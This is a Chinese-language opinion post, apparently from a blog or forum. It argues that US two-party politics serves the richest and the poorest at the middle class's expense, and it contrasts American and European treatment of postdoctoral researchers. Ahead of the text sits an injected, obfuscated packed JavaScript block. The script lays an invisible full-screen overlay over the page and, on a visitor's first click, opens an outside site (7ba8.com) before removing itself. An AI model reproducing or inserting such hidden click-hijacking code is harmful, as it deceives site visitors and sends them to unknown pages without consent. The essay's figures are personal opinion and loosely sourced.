<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国的大选主要有两个特点，第一永远是两党竞争，第二选举人团的间接选举。在立国之初，有过3人竞争，后来基本没戏了，选举人团也曾发生过叛变革命，但是后来似乎立法禁止了。既然两党竞争，我们就来看看各自所代表的利益群体。民主党代表的是城市中产阶级，所以加州和纽约州都是基本盘，而共和党代表的是最富的人以及红脖子们，也就是说共和党代表的是两头，比如布什代表的是最富有的阶级，但是在穷人中确也很有吸引力，但是几乎被所有教授阶层所痛恨。
这个就不光是美国的政治的特点，也是社会阶层的特点，就是两头的人最爽。他们如何爽法呢？
华尔街那些金融大鳄大部分都是利得收入，这部分法律规定只交15%的税，这就是为啥某些良心发现的大鳄如巴菲特要求为自己加税的原因，他的雇员缴税近35%。而最穷的人呢？最近看Mitbbs精彩的系列文章我的十年，发现年薪四万的家庭和十几万的家庭载有几个孩子情况下，剩下的钱一年只差6000美元不到。在美国穷人有救济券，上大学比如哈佛学费全免，还可以吃顿免费午餐。
看到这里我们发现，美国中产无疑是最惨的，缴得税是最高税率，得到的几乎是0，没有免费医疗，没有免费教育，为啥还有那么多中产愿意在美国呢？
这又涉及到美国维持的一个最基本的问题，虽然那些税收没有给他们带来这些福利，但是这些税用来维持了军力，而这个军力是用来捍卫整个"资本主义自由世界"的，而美国出了这份力，在资本主义国家内部分赃的时候，必须每次都吃到最大的梨，具体体现在，其他资本主义国家都听从美国的，还有美国的油价是欧洲的一半不到。
当然税收另外一个去处就是科研基金的投入，这部分为美国带来创新的活力，也就是说可以雇用很多phd 博士后做苦力为美国的创新与科技添砖加瓦，而这些苦力为何心甘情愿前来？就是因为美国科技发达的结晶效应。由于有了这部分活力，导致美国的中产虽然税多而福利几乎是0，但是账面工资还是远高于欧洲同行两倍左右。反观欧洲，教授科研经费少的可怜，一些数学教授一年才2000欧，还没我这个Senior Postdoctoral Fellow高，然后雇人干活，又不能当苦力，都是法律规定五点必须下班，周末也不能强迫上班，美国这种博士后奴隶现象在欧洲几乎是不可想象的，有些法律甚至规定连商店在周日都不得开门营业，现在金融危机，意大利某些地方才放松管制。所以对于实验科学像生物这类学科，欧洲的力量完全无法和美国抗衡。所以欧洲是把科研人员的尊严放在首位，宁愿科技发展慢，作为国家落后虽然没有到挨打的份，但至少没有很多尊严。美国把科技进展放在首位，连工人都由工会保护，博士后群体几乎0保护，赤裸裸的被践踏尊严，但是美国作为国家科技永远强盛。当然美国博士后由于受到严格的训练，一去其他国家立即有尊严了，这也是美国作为头号强国对科研人员的吸引力之所在。而富有阶层的利得收入缴税少，是增加了华尔街的活力和资产的流动性，为掠夺全世界资源和打好金融战做准备的。 |
收藏